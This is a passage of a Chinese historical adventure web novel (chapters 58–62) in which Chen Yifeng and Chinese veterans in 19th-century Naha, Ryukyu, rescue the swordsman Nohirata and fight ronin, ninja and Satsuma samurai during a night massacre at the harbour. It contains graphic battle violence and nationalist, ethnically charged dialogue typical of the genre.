她并未直奔首里城,而是先绕道半山坡一处普通的日式民居。这座建筑外表朴素,与周围民居毫无二致。但在主卧室的榻榻米下,藏着一个隐秘的地牢。 阴冷潮湿的地牢极为狭窄,四壁青苔斑驳。正面墙上锁着一个浑身是血的年轻人,他的衣衫破碎,露出满是伤痕的躯体,但眼神依然倨傲。 “野平太,”雾隐小鬼站在他面前,“这是最后的机会。回到新选组,我可以既往不咎。” 野平太扯动嘴角,露出一个讥讽的笑:“既往不咎?昨夜若非我心软,你们能活几个?七个还是八个?我饶了你们,你们却用毒雾偷袭。这样的新选组,我不屑为伍。” “八嘎!”雾隐小鬼猛地冲上前,五指在野平太胸前狠狠划过,留下五道血痕。鲜血顺着伤口缓缓流下,在他苍白的皮肤上划出触目惊心的痕迹。“新选组容不得背叛!对德川家的忠诚,岂容玷污!” 野平太神色平静,仿佛那血痕不在自己身上。他的眼神越过雾隐小鬼,望向地牢阴暗的角落:“可怜的女人,你忘了么?我只答应试用三日,从未宣誓效忠。呵,你们这些软弱者,只会用暴力掩饰扭曲的灵魂。” 雾隐小鬼眼中怒火喷涌,她的手指深深陷入野平太的脸颊:“谁是软弱者?现在被锁在墙上的是谁?”她深吸一口气,努力平复着内心的怒火,“念在你是新阴流高手,我们才一再容忍。但你不要挑战我的耐心。” 一旁的两名忍者交换了一个眼神,愤然开口:“组长,此人已无可救药,要不要......”他们的手不自觉地按在了腰间的忍刀上。 雾隐小鬼抬手制止了他们,轻柔地为野平太接好下巴。她的动作轻缓,与方才的暴虐判若两人:“告诉我,昨日你与那姓孟的清国人,谈了什么?陈逸风到底有何图谋?” 野平太活动着下巴,嘴角勾起一抹冷笑:“堂堂忍者,竟向武者讨要情报?真是忍者之耻。” “八嘎!”雾隐小鬼再也无法保持冷静,一拳轰在野平太腹部。沉闷的击打声中,野平太如虾般蜷缩,但眼中的讥讽丝毫未减。 她深吸一口气,转身吩咐:“四郎留下看守,其余人随我走。还有正事要办。” 等雾隐小鬼带人离开后,整个日式庭院只剩下看守的四郎,和房间里昨夜被野平太砍伤的六名忍者。他们或躺或坐,伤口隐隐作痛,但没人敢松懈警惕。 四郎靠在门边,不时打量着被锁在墙上的野平太。四道精钢锁链牢牢固定着囚犯的四肢,每一道都经过特殊处理,就算是大力士也休想挣脱。他们都认为野平太绝无逃脱可能。更何况这名流浪剑客在那霸港孤立无援,绝不会有人来救。 然而他们错了。 庭院外的阴沟中,一道污秽的身影正悄然钻入。那人浑身沾满污泥,面目不清,但手中握着的肋差,却在暗处闪烁着寒光——正是野平太赠予兵太的那把。 原来是兵太。这个已经蜕变的少年,自从对恶八郎挥刀那刻起,便已打碎心魔,踏上强者之路。他蹲在阴影中,耐心观察着四周的情况。纵使躯体尚显稚嫩,心志却已百炼成钢。 守卫们丝毫没有注意到危险正在逼近。他们谈论着昨夜的战斗,抱怨着伤口的疼痛,全然不知。 就在这时,远处传来一阵急促的脚步声。几名忍者神色一紧,警惕地望向庭院入口。然而映入眼帘的,却是他们再熟悉不过的同伴。 “四郎大哥!”来人气喘吁吁,“不好了!城东发现可疑人物,组长让我们立刻增援!” 四郎皱眉:“现在走不开,野平太还需要人看守。” “组长说了,留下两个人就够了。其他人必须立刻前往城东!” 四郎犹豫片刻,最终还是点头同意。他留下两名伤势较轻的同伴,带着其他人匆匆离开。 庭院重归寂静,只剩下两名忍者和被囚禁的野平太。守卫们松了口气,觉得看守一个被锁住的伤患,总比在外面跟敌人缠斗要轻松得多。 他们不会想到,这个决定将成为他们人生中最后的错误。 兵太的身影无声无息地出现在他们身后,肋差的寒光一闪而过。两名忍者甚至来不及发出声音,就永远地倒在了血泊中。 “野平太大哥!”兵太快步上前,开始解开锁链。 野平太露出一丝笑意:“来得正好。再晚片刻,我就要被那个疯女人折磨死了。” 就在这时,院外突然传来一声惊呼:“不好!有人劫囚!” 兵太手上的动作一顿,脸色微变:“是陷阱!他们早有防备!” 野平太却异常冷静:“不必慌张,见机行事。” 话音未落,十余名忍者已经包围了地牢。雾隐小鬼站在最前方,脸上带着胜券在握的笑容:“果然有人来救你。不过,你们都走不了了。” 兵太握紧了肋差,汗水顺着脸颊滑落。 他从未接触过忍术,有的只是那一身蛮力。此刻,他像一堵墙般毅然站在野平太身前,手中紧握着肋差,双眼紧闭,大力地胡乱挥舞起来。那模样,就如同一只无头苍蝇在做最后的挣扎,简直是在自寻死路。 第五十八章 擅闯王宫按律当诛 周围的忍者们见状,发出一阵哄笑,那笑声中满是嘲讽与不屑。他们就像戏弄猎物的猛兽一般,不紧不慢地靠近。其中一个手下猛地冲上前,轻松地躲过那毫无章法的攻击,紧接着一个反手,便将他重重地摔打在地。兵太只感觉浑身剧痛,仿佛每一寸骨头都在哀号,一时间根本无法起身,只能无力地趴在地上。 雾影小鬼缓缓踱步而来,眼神中满是轻蔑地看着地上的他:“哼,本以为能钓到一条大鱼,没想到是你这么个废物。算了,杀了你也能回去交差。”野平太在一旁心急如焚,眼睛瞪得通红,额头青筋暴起,他拼命地挣扎,想要冲过去帮忙,可身体却被绳索紧紧束缚,动弹不得。他只能扯着嗓子破口大骂:“你们这群败类,杀一个孩子算什么忍者,有本事冲我来啊!” 雾影小鬼就像没听见一般,嘴角微微上扬,露出一抹残忍的笑容。她从腰间缓缓拔出那把闪着寒光的长刀,高高举起,朝着地上的兵太刺去,眼看就要刺破他的皮肤。突然,一道破空之声传来,一枚箭矢如流星般划过,精准地擦过雾影拿刀的手,然后“铛”的一声落在地上。雾影受到惊吓,手猛地一抖,长刀差点脱手。她满脸惊恐地回头一看,只见一队清国人朝这边冲了过来。 野平太急忙定睛看去,只见为首之人正是孟明蛇。没想到,在这生死关头,他们竟能找到这里来相救。 雾影小鬼见势不妙,脸色瞬间变得煞白,她深知此时若恋战,必定讨不到好处。于是,她一挥手,带着忍者们迅速朝着暗道逃窜而去,那身影很快就消失在黑暗之中。 琉球王国的身份地位,在万国公法下有着明确的界定。 首先,这是一个独立的国家。 其次,琉球是大清的属国。 而日本和琉球近两百年的关系,在国际上根本不被认可。 初夏的阳光透过首里城厚重的城墙洒落在庭院中,空气中弥漫着一股淡淡的樱花香气。蔡瑁站在城门处,看着眼前这群不速之客,眉头微微皱起。 山本清一步上前,他身材魁梧,穿着一身武士服,腰间别着一把长刀。“让开。”他用生硬的琉球话说道,眼神中带着不容置疑的傲慢。 蔡瑁纹丝不动,他身着朝服,站姿挺拔。“擅闯王宫,按律当诛。诸位若想觐见国王,还请按规矩来。” “规矩?”山本清冷笑一声,猛地揪住蔡瑁的衣领。阳光下,他的面容扭曲,青筋暴起。“两百年来,我们岛津家才是这里的规矩!” 庭院内的侍卫们立即拔出佩刀,剑刃在阳光下闪烁着寒光。空气仿佛凝固了,连鸟儿的啼叫声都消失不见。 桦山栗源站在一旁,他身着华贵和服,面容沉稳,眼中却闪过一丝不耐。这次行动事关重大,不能在这种小事上节外生枝。“山本君,请克制。”他的声音不大,却透着不容质疑的威严,“我们是客人,理应尊重主人意愿。” 山本清握着蔡瑁衣领的手微微颤抖,最终还是松开了。他凑到蔡瑁耳边,声音如毒蛇吐信:“你死定了。”说完退到桦山栗源身后,眼中依旧充满杀意。 蔡瑁整理了一下衣襟,心中五味杂陈。他知道山本清的话不是恐吓,一旦事变失败,所有亲中派官员都将血债血偿。想到这里,他不由得攥紧了拳头。 但是,两百年来的屈辱不能继续了。琉球王国虽小,却也是独立之邦,怎能永远匍匐在日本人脚下?此时此刻,投靠大清或许是唯一的出路。 他深吸一口气,转身对内侍说道:“去禀报陛下,就说有日本客人来访。”声音坚定,不带一丝颤抖。 桦山栗源的脸色瞬间阴沉下来。岛津家掌控琉球两百五十年,何曾受过如此对待?区区首里城,竟然要通报才能进入!他双拳紧握,怒火中烧,却又不得不强忍着。 就在这剑拔弩张之际,一个充满讽刺意味的声音从侧面传来:“这是日本人的地盘?想闯就闯?不如直接向各国宣告,琉球已是岛津家的领地好了。” 众人循声望去,只见一队人马正从城门外走来。为首的是一个身着长衫的年轻人,正是陈逸风。他身后跟着苗烈等人,肩上都扛着崭新的斯宾塞连珠枪,在阳光下泛着冷冽的光芒。 看到这些精良的武器,日本士兵们不由自主地收紧了手中的竹枪,快速布成防御阵型。这支美制名枪的威力,在那霸已经传得神乎其神。 桦山栗源强压怒火,对陈逸风微微躬身:“又见面了,不知陈先生来此有何贵干?”表面上还算客气,眼底却闪过一丝阴狠。 陈逸风轻笑一声:“赴宴罢了。想请哪位通报一声,就说清国陈逸风献礼。” 闻言,桦山栗源心中一沉。陈逸风如此大摇大摆地出现,显然已经与王室达成某种默契。他们精心筹划的计划,怕是要功亏一篑。 “这个该死的清国人,故意整这一出,就是为了给王室传信。”桦山栗源咬牙切齿地想道。 就在这时,两个黑衣人从城墙上一跃而下,试图偷袭陈逸风。但苗烈等人早有防备,举枪便射,两声枪响过后,黑衣人应声倒地。 陈逸风面色不变,转向蔡瑁:“这两个忍者私闯王宫,按琉球律法该当如何处置?” 蔡瑁正要开口,一个威严的声音从大殿内传来:“私闯王宫者,斩立决!” 众人回首,只见尚泰王在一群侍卫的护送下缓步走来。他身着龙袍,面容肃穆。 桦山栗源等人连忙跪拜行礼:“参见国王陛下!” 尚泰王微微点头:“诸位请起。日本贵客远道而来,寡人已备下酒宴,还请入内一叙。” 危机暂时化解,众人鱼贯而入。 回到樱之宿后,沈达华等人得知已拿到衣带诏,都兴奋不已。但陈逸风却隐隐感到不安,这些疯狂的日本人,必定不会善罢甘休。 正想着,外面传来千夏急切的声音:“客官,野平太大爷被救回来了!” 推拉门砰的一声被拉开,门外的光线瞬间倾泻而入。 孟明蛇搀扶着浑身是伤的野平太踉跄走进来,两人身上沾满了尘土和血迹。野平太的右臂无力地耷拉着,脸上青一块紫一块,嘴角还渗着血丝。 “陈先生!”孟明蛇顾不得擦拭额头上的汗水,急促地说道,“山本清和他的野武士要对那霸港的华人动手了,桦山家老的忍者也参与其中。” 他喘了口气,继续道:“具体计划和时间我没能打探到,抱歉。” 坐在主位的陈逸风眉头紧锁,手指无意识地敲击着桌面。屋内的空气仿佛凝固了,众人大气不敢出。 “说说详细情况。”陈逸风沉声道。 第五十九章 大战一触即发 孟明蛇扶着野平太坐下,给他倒了杯茶。野平太接过茶杯,手却在微微颤抖。 “我们一行八人,找到野平太后,我让其他人送那个孩子现行回来。我便只身带着他栖身在城南的客栈,想着他浑身是伤,休息一日再启程。也就是在客栈听到的消息。”孟明蛇边说边回忆,“那些浪人喝多了,开始肆无忌惮地谈论计划。他们说要"教训教训这些目中无人的唐人",还提到了"安宅船"和"足轻"。” “我们正要悄悄离开打探更多消息,却被几个忍者发现了。”野平太咳嗽了几声,“只是那些忍者的身手很不一般,明显受过严格训练。孟明蛇为了护我,这才如此狼狈。” 陈逸风站起身,在房间里来回踱步。这群日本人果然不会善罢甘休,他们迁怒于自己,却要拿无辜的华人开刀。 一旁的李勇皱眉道:“先生,这事恐怕不简单。安宅船是幕府的战舰,足轻更是精锐部队。一般的浪人可指挥不动这些力量。” “没错。”野平太突然插话,声音里带着一丝虚弱,“如今的日本已经大不同了。武士早已没了规矩,即便您是无双国士,在那些人眼里也不过是个威胁。” 他艰难地调整了一下坐姿,继续说:“尊王攘夷派和新选组,为达目的不择手段。他们都是些疯子,根本不在乎后果。我在江户时就见过他们的手段......” 陈逸风停下脚步,转身看向野平太:“你是说不只是岛津家在琉球兴风作浪?日本其他势力也插手进来了?” “不仅如此。”野平太咽了口唾沫,“这些忍者装备精良,身手了得,背后定有大势力支持。而且......” 他欲言又止,似乎在犹豫要不要说出更多信息。 “说下去。”陈逸风的声音变得低沉。 “而且我认出了其中一个忍者的忍具。那是京都见回组的标志,他们是幕府的走狗。”野平太的声音变得更加虚弱。 屋内的气氛瞬间凝重起来。如果连幕府势力都介入进来,那情况就比想象中更加复杂了。 陈逸风的目光扫过在场每个人的脸。这些都是跟随他多年的老兄弟,此刻都露出了凝重的神色。 “去请迈克·卡内基!”陈逸风突然下令,“让梁坤集结兵力!通知所有华商提高警惕,一旦有事立刻向我集合!” 几名亲信立即领命而去。 陈逸风转向剩下的军官们,目光如炬:“诸位,我们是中国人。这里虽是异国他乡,但我们绝不能丢了中国人的脸面!” “两百六十名勇士在此,还有十万华人为后盾,难道还怕一战?!” 众人热血沸腾,齐声应和:“先生放心,这是国战,我们绝不退缩!” 与此同时,在城中十处隐蔽的仓库里,恶八郎正在秘密集结上千浪人。破旧的仓库里弥漫着酒气和汗臭,粗犷的笑声不时响起。 “兄弟们,再耐心等等。”恶八郎端着酒碗,眼中闪过一丝狠厉,“这些清国奴实在嚣张,是该让他们知道规矩了。” 他站起身,举起酒碗:“桦山大人已经答应支援,三千足轻和安宅船都会为我们助威。等收拾完这些唐人,那霸港就是我们的天下了!” 浪人们听闻有强援,顿时士气大振,纷纷举碗高呼。 “八郎大人放心!这次一定要让他们明白,谁才是那霸港的主人!” 夕阳西下,那霸港陷入诡异的寂静。街道上空荡荡的,往日熙熙攘攘的景象不见了。洋人们已经察觉到异样,日本浪人和工人都消失无踪,街上只剩下汉人和土著。 码头边,几艘商船的船长正在焦急地等待装卸工人。但那些平日里总是在此揽活的日本工人今天一个都没出现。 “这不对劲。”一位老船长皱着眉头说,“我在这跑了二十年,从没见过这种情况。” 与此同时,鹿儿岛的岛津城内,坂本龙马听闻消息后,顾不得擦去额头上的汗水,就冲进了天守阁。 “岛津大人!”他的声音里带着焦急,“千万不可轻举妄动!你可知晓陈逸风其人?” 岛津父子对视一眼,显然没料到坂本龙马会如此激动。 “此人有何特别之处?”年轻的岛津久光问道。 “此人精通兵法,谋略过人。”坂本龙马喘着气说,“更重要的是,他在琉球经营多年,与各国商人都有交情。一旦开战,不仅会影响我们与清国的贸易,恐怕连英美等国也会介入。” 他擦了擦汗,继续道:“而且据我所知,陈逸风手下有一支精锐部队,虽然人数不多,但战力惊人。开战的后果不堪设想啊!” 岛津父子面面相觑:“纳尼?陈逸风竟如此可怕......” 老岛津沉思片刻,突然问道:“龙马,你说实话,我们现在插手那霸港的事情,是不是有些操之过急?” 坂本龙马正要回答,一名武士慌慌张张地冲了进来。 “大事不好!”那武士跪地报告,“刚收到消息,英国领事馆已经得知了浪人们的计划,正在召集各国代表商议对策!” 岛津久光的脸色瞬间变得难看起来。他没想到事情会发展得如此快,各国势力的介入会让局势更加复杂。 而此刻在那霸港,陈逸风正在紧急部署防御计划。他让人将重要物资转移到安全地点,同时派人保护华商家眷。 两百六十名精锐分散在城中各个要点,随时准备应对突发情况。十万华人也在暗中准备,等待着陈逸风的号令。 夜幕降临,那霸港表面平静,实则暗流涌动。一场惊心动魄的较量即将展开。 谁也不知道,这个夜晚将会如何结束。但有一点是确定的:这里的每个人,都将面临一个重要的抉择。 血月当空,一片阴云遮蔽着月色,仿佛被血染红的天空令人心生不安。远处传来阵阵海浪声,夹杂着码头上商贩们的叫卖声,那霸港的夜晚依旧喧嚣。 山本清端坐在岩石上,目光倨傲地望着天空。身边的士兵仔细地为他穿戴着那件引以为傲的南蛮胴甲胄,每一根皮绳都被细心地系紧。胸前几个浅浅的弹痕在月光下泛着微光,这是他与洋人交战时留下的荣耀印记。 “这些唐人,不过是群乌合之众。”山本清轻蔑地挥了挥手,示意士兵退下。他伸手抚摸着胸前的弹痕,眼中闪过一丝狂热,“就连洋人的火枪也奈何不了我这身铠甲,区区唐人,又有何惧?” 身旁的小姓犹豫了片刻,终于开口道:“大人,属下斗胆进言。此次行动未经桦山家老允许,若是......” “八嘎!”山本清猛地转身,抬手就要朝小姓脸上扇去。但在看到对方那张年轻的面容时,他的手僵在了半空中。 “你这是在质疑我的判断?”山本清缓缓放下手,语气中带着压抑的怒意,“我们是武士,是守护武道之人。桦山大人为难之处,我们这些做下属的,自当分忧解难。” 几名武士跪坐在不远处,听到这番话,纷纷低下头默不作声。 第六十章 日本武士肆意烧杀 与此同时,樱之宿一条街灯火通明。陈逸风强行征用了整条街的宿屋,所有房间的推拉门都被打开,形成一个巨大的会议厅。烛火摇曳,投下斑驳的影子。 “报告军师,二百六十名天国老兵已经全部集结完毕。”梁坤跪在地上,声音洪亮。他的眼角却不由自主地瞟向坐在下首的靖孙沈达华。 这情形让他心中充满疑惑。一个军师,为何能坐在王爷之上发号施令?这违背了他多年来的认知。但眼下形势紧急,他只得将疑惑压在心底。 “梁将军请起。”陈逸风神色平静,手指轻轻敲击着桌面,“我知道你心中有诸多疑虑。但现在,我只问你一句,你可还记得自己是个中国人?” 这句话如同一记重锤,击在梁坤心头。他猛地抬头,眼中闪过一丝复杂的神色。 “末将谨记在心!”梁坤重重一拳砸在胸口,发出沉闷的响声。 会议厅内气氛凝重,十面写着“陈”字的认旗被依次分发下去。三百余人分成十队,每队配备三支斯宾塞步枪。士兵们小心翼翼地检查着武器,确保每一发子弹都装填妥当。 “这些斯宾塞步枪可是好东西。”一名老兵摩挲着枪身,眼中流露出赞叹之色,“比咱们以前用的鸟铳强多了。” “少废话,认真检查。”队长低声呵斥,“一会儿真打起来,可由不得马虎。” 陈逸风背靠着墙壁,默默观察着众人。他能看出这些天国老兵虽然经验丰富,但长期的流亡生活已经消磨了他们的锐气。如何重新激发他们的斗志,成了眼下最大的难题。 就在这时,远处码头突然传来一阵喧嚣声,紧接着一道火光冲天而起。橙红色的火焰映红了半边天空,惊慌的叫喊声随风飘来。 “这群狗日的真敢动手!”陈逸风猛地站起身,攥紧了林肯赠予的雷明顿手枪。枪柄上的花纹在烛光下闪烁着冷冽的光芒。 “都给我听着!”他的声音不大,却充满了震慑力,“现在不是考虑其他的时候。我们的敌人就在眼前,他们通过这种下三滥的手段挑起纷争,我们决不能容忍!” 话音未落,陈逸风已经大步走向门外。这突如其来的举动让在场的天国老兵们都愣住了。他们习惯了将军在后方指挥,还从未见过一个军师会亲自冲锋陷阵。 “以后有你们吃惊的时候多着呢!”瑾周信背起认旗,从梁坤身边掠过,“真正的军师,就该与士兵同生共死!” 梁坤看着陈逸风的背影,内心的疑虑瞬间烟消云散。他猛地抽出腰间的佩刀,举过头顶。 “操他娘的,弟兄们跟上!”梁坤声嘶力竭地吼道,“连军师都上了,咱们还怕个鸟!杀他娘的!” “杀!” 三百人齐声怒吼,声震屋瓦。他们纷纷抄起武器,跟随在陈逸风身后冲出樱之宿。皮靴踏地的声响在那霸的街道上回荡,惊起了栖息在屋檐下的飞鸟。 夜色中,火光映照着他们的面庞。这些历经沧桑的天国老兵眼中重新燃起了战意。他们知道,今夜注定是个不平凡的夜晚。 远处的码头上,山本清率领的武士已经开始了烧杀。但他们不会想到,一支令他们始料未及的力量正在靠近。 街道两旁的居民探头张望,看着这支装备精良的队伍快速前进。有人认出了他们胸前的标记,不由倒吸一口凉气。 “是天国的人!”有人低声惊呼。 “闭嘴!”旁边的人赶紧拉住他,“你想惹祸上身吗?” 陈逸风充耳不闻,专注地盯着前方。林肯赠予的雷明顿手枪在他手中,仿佛有了生命。今晚,这把枪将见证一场恶战的开始。 而在码头方向,山本清依旧沉浸在肆意破坏的快感中。他怎么也想不到,一场足以改变他命运的战斗即将来临。 从正午开始,城中就传出了让华人胆战心惊的流言 - 日本人要大开杀戒了。这个消息像瘟疫一般在华人聚居区迅速蔓延,每个人的脸上都写满了恐惧。 米老板站在自家粮仓的二楼,透过狭窄的窗缝往外张望。街道上空荡荡的,连平日里最爱在门前嬉戏的孩童都不见了踪影。 “夫君...”身后传来妻子小声的呼唤。 米老板回过头,看见妻子抱着襁褓中的孩子,脸色苍白如纸。他强忍住内心的不安,挤出一丝笑容:“别怕,也许只是谣言。” 话虽如此,但他心里清楚,这绝不是空穴来风。最近几个月,日本浪人对华商的敲诈勒索越发肆无忌惮。昨天,他亲眼目睹王老板被几个浪人围住,要求交出全部家当作为“保护费”。 王老板硬气,拒绝了他们的无理要求。 “那些浪人走时的眼神...”米老板攥紧了拳头,指甲深深陷入掌心,“就像盯着猎物的野兽。” 傍晚时分,街上往日最热闹的酒馆、妓院、赌坊纷纷落锁。更反常的是,那些平日里在街头耀武扬威的浪人,竟一个都不见了。 “完了...”米老板的心沉到了谷底。 他让伙计们先行离开,自己则带着妻儿躲在粮仓里。仓库里堆满了粮食,至少能撑过一段时间。但他明白,如果日本人真要大开杀戒,这里根本算不上安全。 夜幕降临,港口一片死寂。 远处传来几声犬吠,米老板的心跳骤然加快。他死死盯着窗外,月光下的街道仿佛染上了一层诡异的色彩。 洋钟敲响了十一下,地狱之门轰然洞开。 “砰!”一声巨响震破夜空,不远处的日本仓库突然腾起冲天火光。紧接着,无数黑影从阴暗处涌出,他们腰间的太刀在月光下闪着森冷的寒芒。 “失火了!是清国人放火烧仓库!”浪人们高声嚎叫。 “杀光这些清国奴!” 他们一边往自家仓库泼洒火油,一边嚎叫着冲向华人聚居区。很快,惨叫声、哭喊声此起彼伏。 米老板死死咬住拳头,眼泪不受控制地流下。透过窗缝,他看见王老板家那边几个浪人踹开门闯了进去,接着就是此起彼伏的惨叫声。 “爹!救我!”王老板的女儿凄厉的叫声划破夜空。 “畜生!我跟你们拼了!”王老板怒吼着冲出门,但迎接他的是一道寒光。 “噗嗤!” 鲜血飞溅,王老板重重摔倒在地。他的眼睛瞪得老大,似乎到死都不敢相信,自己会落得如此下场。 恶八郎带着最大的一队浪人,如狼似虎地冲进商业区。这个在华人中臭名昭著的浪人头子,平日就以凶残著称。今晚,他更是完全撕下了人皮面具。 第六十一章 陈逸风来了 “抢!杀!一个不留!”他挥舞着太刀狂笑,“你们不是不交保护费吗?今天我们自己来取!” 浪人们蜂拥而上,四处打砸抢掠。黄金白银、珠宝玉器被哄抢一空,街道上到处都是破碎的家具和染血的衣物。 火光冲天,映照着这座噩梦般的城市。 米老板紧紧搂着妻儿,无声地哭泣。这片土地上的华人,世代与日本人和睦相处。他们勤劳经商,为这座城市带来了繁荣。可几百年的善意,换来的却是如此下场。 突然,楼下传来重物倒地的声响。 “老板,快跑!他们来了!”是躲在一楼的伙计。 话音未落,一声惨叫响起。米老板的心跳几乎停止,他知道伙计凶多吉少了。 “上面还有人!”粗暴的脚步声由下而上。 米老板看了眼妻儿,做出了决定:“你们从后窗逃走,我来拖住他们。” “不行!”妻子死死抓住他的衣袖,“我不能丢下你!” “听话!”米老板几乎是吼了出来,“为了孩子!” 就在这时,楼梯口出现了十几个持刀的浪人。 “八嘎!又是几个肥羊!”为首的浪人舔了舔刀刃,眼中闪烁着残忍的光芒。 米老板将妻儿护在身后,跪地求饶:“我有钱!这是所有的银元,都给你们!只求放过我的妻儿!” 但这些发狂的野兽已经失去了人性,他们不为所动,反而发出了令人作呕的笑声。 米老板闭上眼睛,等待死亡的降临。 就在这千钧一发之际,一声清脆的枪响划破夜空。 “砰!” 为首的浪人应声倒地,眉心处赫然一个血洞。其他浪人顿时慌了神,四下张望。 “是中国人的就跟着干!”一群人从街角冲出,为首的是一个英气勃勃的青年。他手持左轮,大笑着喊道:“一个够本,两个赚一个!” 当那面“陈”字大旗出现在视线中,所有华人都热泪盈眶。 “陈逸风!是陈逸风来了!”不知是谁喊了一声,顿时人群沸腾。 这三个字,就像黑暗中的明灯,给了所有人希望。 “明犯强汉者,虽远必诛!”陈逸风一声断喝,带着三十名精锐直面密密麻麻的浪人阵线。 他们虽然人数不多,但每个人都气势如虹。这些人都是经过严格训练的好手,配备了最先进的火器,完全不是那些乌合之众能比的。 “杀!” 随着一声令下,双方展开了激烈的战斗。枪声、刀声、喊杀声交织在一起,硝烟弥漫的街道上演着生死较量。 陈逸风如同天神下凡,左轮枪在他手中每一枪必有一个浪人倒下,他的身影在火光中穿梭,所到之处尽是敌人的哀嚎。 “撤!快撤!”恶八郎看势头不对,立刻下达了撤退的命令。 但陈逸风岂会放过这个罪魁祸首?他如影随形地追击,誓要将这个恶贯满盈的家伙就地正法。 “八郎,你的死期到了!”陈逸风的声音里带着不容置疑的杀意。 恶八郎回头怒视:“小子,你找死!” 两人的身影消失在夜色中,只留下此起彼伏的打斗声。 米老板搂着妻儿,看着这惊心动魄的一幕,内心激动难平。他知道,从今往后,那霸城的华人再也不用像以前那样战战兢兢了。 因为他们有了守护者,有了能与强权抗衡的英雄。 港口内混乱的喊杀声此起彼伏,硝烟弥漫,血腥味在空气中蔓延。 商船们纷纷起锚,在港口外的深水区游弋不定。桅杆上飘扬的各国旗帜在海风中猎猎作响,远远望去宛如一场无声的狂欢。 英国商船“伊丽莎白号”的甲板上,约翰逊船长死死攥着手中的黄铜望远镜,浓密的眉毛紧紧皱起。 “看看那些清国人,简直判若两人!”他转身对大副说道,声音里带着难以掩饰的震惊,“平日里温文尔雅的华商,此刻竟像是下山的猛虎!” 大副托马斯凑上前来,顺着望远镜的方向眺望。港口上的厮杀已经进入白热化,两股人流在火光中宛如两条互相撕咬的巨龙。 “船长,我们是不是该采取些行动?”托马斯犹豫着问道。 约翰逊摇了摇头,目光凝重:“这是琉球内部的争端,我们最好保持中立。不过......”他顿了顿,“让弟兄们把火炮准备好,以防不测。” 码头上,瑾周信带领着数百华人死死地与恶八郎的人马顶在一起。他的长袍早已被鲜血浸透,手中的钢刀上布满了缺口,但眼神依然如炬。 “兄弟们,给我顶住!”瑾周信声嘶力竭地大喊,“我们若退一步,就是死路一条!” 两股人马之间的空地上已经堆满了尸体,血水顺着石板的缝隙流向大海。受伤的人倒下了,后面的人立刻补上,谁都不肯后退半步。 一名日本武士挥刀劈来,瑾周信侧身闪过,反手一刀斩断了对方的手腕。武士的惨叫声淹没在此起彼伏的喊杀声中。 “瑾大哥,我们的火药不多了!”一个满脸血污的青年挤到瑾周信身边,气喘吁吁地说道。 瑾周信咬紧牙关:“能撑多久是多久,陈先生一定会来的!” 恶八郎站在人群后方,脸色铁青。他能感觉到,身后就是茫茫大海,已经没有退路了。 “八嘎!”他狠狠地啐了一口,“给我冲,把这些该死的清国人都推下海去!” 就在这时,一阵整齐的脚步声从远处传来。声音由远及近,震得地面都在微微颤动。 “陈先生来了!”不知是谁高声喊道。人群中顿时爆发出一阵欢呼。 只见陈逸风带领着千人大队,如同一把锋利的尖刀,从侧面插入战场。他们举着火把,手持长矛,在夜色中宛如一条火龙。 “给我冲!”陈逸风虽然气喘如牛,额头上大汗淋漓,但依然冲在最前面。 在两面夹击之下,恶八郎的人马如同退潮的海水,不断地被推向海边。他们的阵型开始散乱,士气急剧下降。 “一二三!推!”在震天的呐喊声中,数百名日本人被推入冰冷的海水。他们挣扎着想要爬上岸来,却被岸边的华人用长矛无情地刺下。 海水很快被染成了暗红色,惨叫声在港口上空回荡。 各国商船上的水手们面面相觑,纷纷打出中立的信号旗。没有人愿意卷入这场血腥的厮杀中。 在港口的暗处,一座废弃的仓库里,雾隐小鬼正冷冷地注视着外面的战况。月光透过破损的屋顶,在她苍白的脸上投下斑驳的阴影。 “这些愚蠢的清国人,”她的眼中闪过一丝狠色,“等火药引爆的时候,就是他们的死期。” “传令下去,”她转身对身后的忍者低声说道,“准备点燃引线。” 第六十二章 清国人已经疯了 话音未落,屋顶突然传来一声巨响。瓦片碎裂的声音中,一道人影破空而下。 寒光闪烁,两名忍者的咽喉已经被利刃割开。他们甚至来不及发出声音,就倒在了地上。 “野平太!”雾隐小鬼厉声喝道,“你这个叛徒!” 野平太握着染血的名刀,冷冷地看着她:“德川幕府已经腐朽,你们这些人才是真正的叛徒。为虎作伥,残害平民,还有什么资格谈论忠义?” “放肆!”雾隐小鬼抽出短刃,“今天就让你见识见识,什么是真正的忍术!” 两人的身影在月光下急速交错,刀光闪烁间,不时有火花四溅。野平太的剑术凌厉,但雾隐小鬼的身法诡异,一时间竟难分胜负。 “兵太!”野平太一边与雾隐小鬼缠斗,一边大喊,“快去通知陈先生,他们要引爆火药!” 一道矮小的身影从阴影中窜出,飞快地向码头方向奔去。雾隐小鬼想要追击,却被野平太的剑光逼回。 “你的对手是我!”野平太厉声道。 港口的战斗仍在继续,但胜负已定。恶八郎的残部已经被压制在了一个狭小的角落,失去了反抗的能力。 然而,真正的危机正在暗处酝酿。埋藏在各个仓库中的火药,随时可能将这场胜利化为灰烬。 时间一分一秒地流逝,沉重得让人窒息。 山下的火光映红了半边天,浓烟滚滚直上云霄,火舌贪婪地舔舐着建筑的残骸。空气中弥漫着焦糊与血腥的气味,远处传来阵阵厮杀声和哀嚎声。 桦山栗源站在庭院中,身着祖传的战甲,凝视着那片混乱的战场。铠甲上斑驳的痕迹诉说着无数战争的历史,月光下泛着冷冽的光泽。他的目光如刀般锐利,仿佛要穿透夜色看清每一个细节。 清冷的夜风吹拂过庭院内的枯槁树木,发出沙沙的响声。竹中井上踏着碎石小径缓步走来,靴子与地面摩擦发出细微的声响。 “山本清这次倒是沉得住气。”桦山栗源眯起眼睛,声音中带着一丝讥讽,“看来这些年在流放地也学会了耐心。” 竹中井上整了整腰间的佩刀,目光扫过远处的火光:“山本已不是从前那个莽撞之人了。他不仅拉拢了恶八郎,还笼络了雾隐小鬼。这些年他在暗处积蓄力量,今日终于显露獠牙。只可惜...” “只可惜他算漏了最重要的一点。”桦山栗源露出一丝意味深长的笑意,手指轻轻叩击着铠甲,发出清脆的金属声,“首里城才是关键。” 院外传来整齐的脚步声,千余足轻已经严阵以待。他们的呼吸声在夜色中格外清晰,手中的长枪在月光下泛着寒光。桦山栗源大步迈出庭院,身后跟着贴身武士和小姓,铠甲碰撞发出沉闷的声响。 北面军营的瞭望台上,山本清死死握着望远镜,他的额头上的青筋突突直跳。几名浪人跪在台下,不住叩首,身上的布衣早已被汗水浸透。 “山本大人,八郎快顶不住了!”一个浪人声音颤抖,“清国人已经疯了!他们像野兽一样冲锋!” 山本清置若罔闻,望远镜始终对准城内某个方向。忽然,又一名浪人跌跌撞撞地跑来,他浑身是血,衣服被划出数道口子,看起来狼狈不堪。 